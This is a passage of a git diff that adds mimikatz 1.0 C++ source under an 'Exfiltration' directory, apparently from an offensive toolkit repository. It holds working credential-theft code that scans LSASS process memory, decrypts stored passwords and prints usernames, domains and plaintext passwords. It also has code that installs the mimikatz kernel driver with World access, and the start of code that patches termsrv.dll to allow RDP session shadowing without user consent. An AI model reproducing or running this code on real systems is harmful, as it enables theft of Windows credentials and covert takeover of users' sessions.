LUIDoffset, luidToFind); + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + { + if(maTable.OrderedPointer) + { + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) + resultat = maTable.OrderedPointer; + } + delete [] monBuffer; + } + + if(!resultat && maTable.BalancedRoot.LeftChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind); + if(!resultat && maTable.BalancedRoot.RightChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + } + return resultat; +} + +void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos) +{ + if(mesCreds) + { + if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer) + { + wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS); + wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS); + wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory); + wstring rUserName = (isDomainFirst ? domainName : userName); + wstring rDomainName = (isDomainFirst ? userName : domainName); + + if(justSecurity) + { + if(!pos) + (*outputStream) << password; + else + (*outputStream) << endl << + L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }"; + } + else + { + if(!pos) + (*outputStream) << endl << + L"\t * Utilisateur : " << rUserName << endl << + L"\t * Domaine : " << rDomainName << endl << + L"\t * Mot de passe : " << password; + else + (*outputStream) << endl << + L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl << + L"\t Domaine : " << rDomainName << endl << + L"\t Mot de passe : " << password; + } + } + } else (*outputStream) << L"n.t. (LUID KO)"; +} + +bool mod_mimikatz_sekurlsa::getLogonData(vector * mesArguments, vector> * mesProviders) +{ + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count ; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + (*outputStream) << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t'; + monProvider->first(&sessions[i], mesArguments->empty()); + (*outputStream) << endl; + } + } + LsaFreeReturnBuffer(sessionData); + } + else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl; + } + LsaFreeReturnBuffer(sessions); + } + else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl; + + return true; +} + +bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer) +{ + bool resultat = false; + BYTE * monBuffer = NULL; + PBYTE * leBuffer = buffer ? buffer : &monBuffer; + if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS)) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS; + if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0)) + { + if(dstChaine) + dstChaine->assign(reinterpret_cast(*leBuffer), maChaine->Length / sizeof(wchar_t)); + } + } + if(monBuffer) + delete[] monBuffer; + return resultat; +} + +bool mod_mimikatz_sekurlsa::searchPasswords(vector * arguments) +{ + if(searchLSASSDatas()) + { + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { +#ifdef _M_X64 + PBYTE MmSystemRangeStart = reinterpret_cast(0xffff080000000000); +#elif defined _M_IX86 + PBYTE MmSystemRangeStart = reinterpret_cast(0x80000000); +#endif + ULONG maTaille = 0; + NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille); + + DWORD nbPossible = 0; + for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; ) + { + MEMORY_BASIC_INFORMATION mesInfos; + if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0) + { + if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE)) + { + UNICODE_STRING donnees[3]; + for(PBYTE pZone = reinterpret_cast(mesInfos.BaseAddress); pZone < (reinterpret_cast(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD)) + { + if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS)) + { + if( + (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) && + (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) && + (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer) + ) + { + wstring user, domain, password; + BYTE * bPassword = NULL; + if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword)) + { + if(bPassword) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength); + password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false)); + } + (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl; + } + + if(bPassword) + delete[] bPassword; + } + } + } + } + pMemoire += mesInfos.RegionSize; + } + else break; + } + } + } + else (*outputStream) << L"Données LSASS en erreur" << endl; + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h new file mode 100644 index 0000000..aa05d58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h @@ -0,0 +1,64 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_process.h" +#include "mod_text.h" +#include "mod_system.h" +#include +#include "secpkg.h" + +#include "LSA Keys/keys_nt5.h" +#include "LSA Keys/keys_nt6.h" + +#include "Security Packages/msv1_0.h" +#include "Security Packages/tspkg.h" +#include "Security Packages/wdigest.h" +#include "Security Packages/kerberos.h" +#include "Security Packages/livessp.h" +#include "Security Packages/ssp.h" + +class mod_mimikatz_sekurlsa +{ +public: + typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity); +private: + typedef struct _KIWI_MODULE_PKG_LSA { + wchar_t * moduleName; + wchar_t * simpleName; + PFN_ENUM_BY_LUID enumFunc; + mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry; + _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {} + } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA; + + static bool lsassOK; + static vector> GLOB_ALL_Providers; + static vector mesModules; + + static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL); + + static bool getLogonPasswords(vector * arguments); + static bool searchPasswords(vector * arguments); +public: + static HANDLE hLSASS; + static HMODULE hLsaSrv; + static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV; + static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + + static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind); + static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + + static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL); + static bool getLogonData(vector * mesArguments, vector> * mesProviders); + + static bool loadLsaSrv(); + static bool unloadLsaSrv(); + static bool searchLSASSDatas(); + + static vector getMimiKatzCommands(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp new file mode 100644 index 0000000..31fb6b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp @@ -0,0 +1,191 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_service.h" +#include "..\global.h" + +vector mod_mimikatz_service::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou démarre le pilote mimikatz")); + return monVector; +} + +bool mod_mimikatz_service::start(vector * arguments) +{ + (*outputStream) << L"Démarrage de \'"; + return genericFunction(mod_service::start, arguments); +} + +bool mod_mimikatz_service::stop(vector * arguments) +{ + (*outputStream) << L"Arrêt de \'"; + return genericFunction(mod_service::stop, arguments); +} + +bool mod_mimikatz_service::remove(vector * arguments) +{ + (*outputStream) << L"Suppression de \'"; + return genericFunction(mod_service::remove, arguments); +} + +bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector * arguments) +{ + if(!arguments->empty()) + { + (*outputStream) << arguments->front() << L"\' : "; + if(function(&arguments->front(), NULL)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl; + + return true; +} + + +bool mod_mimikatz_service::list(vector * arguments) +{ + bool services_fs_drivers = true; + bool services = false; + bool fs = false; + bool drivers = false; + + bool allstate = true; + bool running = false; + bool stopped = false; + + vector * vectorServices = new vector(); + if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front()))) + { + for(vector::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++) + { + if( + ( + (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) || + (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) || + (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) || + (services_fs_drivers) + ) + && + ( + (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) || + (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) || + (allstate) + ) + ) + { + if(monService->ServiceStatusProcess.dwProcessId != 0) + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId; + (*outputStream) << L'\t'; + + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS) + (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER) + (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER) + (*outputStream) << L"KERNEL_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS) + (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS) + (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t'; + + switch(monService->ServiceStatusProcess.dwCurrentState) + { + case SERVICE_CONTINUE_PENDING: + (*outputStream) << L"CONTINUE_PENDING"; + break; + case SERVICE_PAUSE_PENDING: + (*outputStream) << L"PAUSE_PENDING"; + break; + case SERVICE_PAUSED: + (*outputStream) << L"PAUSED"; + break; + case SERVICE_RUNNING: + (*outputStream) << L"RUNNING"; + break; + case SERVICE_START_PENDING: + (*outputStream) << L"START_PENDING"; + break; + case SERVICE_STOP_PENDING: + (*outputStream) << L"STOP_PENDING"; + break; + case SERVICE_STOPPED: + (*outputStream) << L"STOPPED"; + break; + } + + (*outputStream) << L'\t' << + monService->serviceName << L'\t' << + monService->serviceDisplayName << + endl; + } + } + } + else + (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl; + + delete vectorServices; + return true; +} + +bool mod_mimikatz_service::mimikatz(vector * arguments) +{ + if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) + { + SC_HANDLE monService = NULL; + if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START))) + { + if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) + { + (*outputStream) << L"[*] Pilote mimikatz non présent, installation." << endl; + + wstring monPilote = L"mimikatz.sys"; + wstring monPiloteComplet = L""; + if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet)) + { + bool fileExist = false; + if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist) + { + if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL)) + { + (*outputStream) << L"[+] Création du pilote : OK" << endl; + if(mod_secacl::addWorldToMimikatz(&monService)) + (*outputStream) << L"[+] Attribution des droits : OK"; + else + (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"[!] Impossible de créer le pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[*] Pilote mimikatz déjà présent" << endl; + + if(monService) + { + if(StartService(monService, 0, NULL) != 0) + (*outputStream) << L"[+] Démarrage du pilote : OK"; + else + (*outputStream) << L"[-] Démarrage du pilote : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + CloseServiceHandle(monService); + } + + CloseServiceHandle(monManager); + } + else (*outputStream) << L"[!] Impossible d\'ouvrir le gestionnaire de service pour création ; " << mod_system::getWinError() << endl; + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h new file mode 100644 index 0000000..368066f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_service.h" +#include + +class mod_mimikatz_service +{ +private: + typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName); + static bool genericFunction(PMOD_SERVICE_FUNC function, vector * arguments); +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + + static bool start(vector * arguments); + static bool suspend(vector * arguments); + static bool resume(vector * arguments); + static bool stop(vector * arguments); + + static bool query(vector * arguments); + + static bool add(vector * arguments); + static bool remove(vector * arguments); + static bool control(vector * arguments); + + static bool mimikatz(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp new file mode 100644 index 0000000..e785e0d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_standard.h" +#include "..\global.h" + +vector mod_mimikatz_standard::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'écran (ne fonctionne pas en éxecution distante, via PsExec par exemple)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la réponse à la Grande Question sur la Vie, l\'Univers et le Reste")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes")); + //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus être là en release...")); + return monVector; +} + +/*bool mod_mimikatz_standard::test(vector * arguments) +{ + return true; +}*/ + +bool mod_mimikatz_standard::version(vector * arguments) +{ + (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl; + return true; +} + +bool mod_mimikatz_standard::clearScreen(vector * arguments) +{ + HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + COORD coord = {0, 0}; + DWORD count; + + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hStdOut, &csbi); + + FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count); + SetConsoleCursorPosition(hStdOut, coord); + + return true; +} + +bool mod_mimikatz_standard::exit(vector * arguments) +{ + return false; +} + +bool mod_mimikatz_standard::reponse(vector * arguments) +{ + (*outputStream) << L"La réponse est 42." << endl; + return true; +} + +bool mod_mimikatz_standard::cite(vector * arguments) +{ + (*outputStream) << L"I edit the world in HEX" << endl; + return true; +} + +bool mod_mimikatz_standard::sleep(vector * arguments) +{ + DWORD dwMilliseconds = 1000; + if(!arguments->empty()) + { + wstringstream z; + z << arguments->front(); z >> dwMilliseconds; + } + (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush; + Sleep(dwMilliseconds); + (*outputStream) << L"Fin !" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h new file mode 100644 index 0000000..dab1350 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +class mod_mimikatz_standard +{ +public: + static vector getMimiKatzCommands(); + + static bool clearScreen(vector * arguments); + static bool exit(vector * arguments); + static bool cite(vector * arguments); + static bool reponse(vector * arguments); + static bool version(vector * arguments); + static bool sleep(vector * arguments); + static bool test(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp new file mode 100644 index 0000000..90929b2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp @@ -0,0 +1,40 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_system.h" +#include "..\global.h" + +vector mod_mimikatz_system::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant")); + return monVector; +} + +bool mod_mimikatz_system::user(vector * arguments) +{ + wstring monUser; + + if(mod_system::getUserName(&monUser)) + (*outputStream) << L"Utilisateur : " << monUser << endl; + else + (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError(); + + return true; +} + +bool mod_mimikatz_system::computer(vector * arguments) +{ + wstring monComputer; + + if(mod_system::getComputerName(&monComputer)) + (*outputStream) << L"Ordinateur : " << monComputer << endl; + else + (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError(); + + return true; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h new file mode 100644 index 0000000..bd96a01 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include + +class mod_mimikatz_system +{ +public: + static vector getMimiKatzCommands(); + static bool user(vector * arguments); + static bool computer(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp new file mode 100644 index 0000000..9a071b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp @@ -0,0 +1,291 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_terminalserver.h" +#include "..\global.h" + +// http://msdn.microsoft.com/library/aa383464.aspx +vector mod_mimikatz_terminalserver::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau à distance pour dépasser 2 connexions simultanées")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)")); + return monVector; +} + +bool mod_mimikatz_terminalserver::sessions(vector * arguments) +{ + vector mesSessions; + + if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"SessId\tEtat\tstrEtat" << endl; + for(vector::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' << + setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' << + setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' << + maSession->sessionName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + + +bool mod_mimikatz_terminalserver::processes(vector * arguments) +{ + vector mesProcess; + + if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"PID\tSessId\tUtilisateur" << endl; + for(vector::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' << + setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' << + monProcess->processName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + +bool mod_mimikatz_terminalserver::viewshadow(vector * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + if(arguments->size() == 1) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + } + + listAndOrModifySession(ptrSession); + return true; +} + +bool mod_mimikatz_terminalserver::modifyshadow(vector * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + wstring strState; + DWORD newState = 0; + + if(arguments->size() == 1) + { + strState.assign(arguments->front()); + } + else if(arguments->size() == 2) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + + strState.assign(arguments->back()); + } + + if(!strState.empty()) + { + bool strError = false; + if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0; + else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1; + else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2; + else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3; + else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4; + else strError = true; + + if(!strError) + listAndOrModifySession(ptrSession, &newState); + else + (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl; + } + + return true; +} + +bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState) +{ + bool reussite = false; + + vector mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64); + + if(mod_patch::checkVersion(&mesOS)) + { +#ifdef _M_X64 + BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22}; + long offsetToWin = -4; +#elif defined _M_IX86 + BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15}; + long offsetToWin = -6; +#endif + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + wstring serviceName = L"TermService"; + wstring moduleName = L"termsrv.dll"; + + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE addrPattern = NULL; + 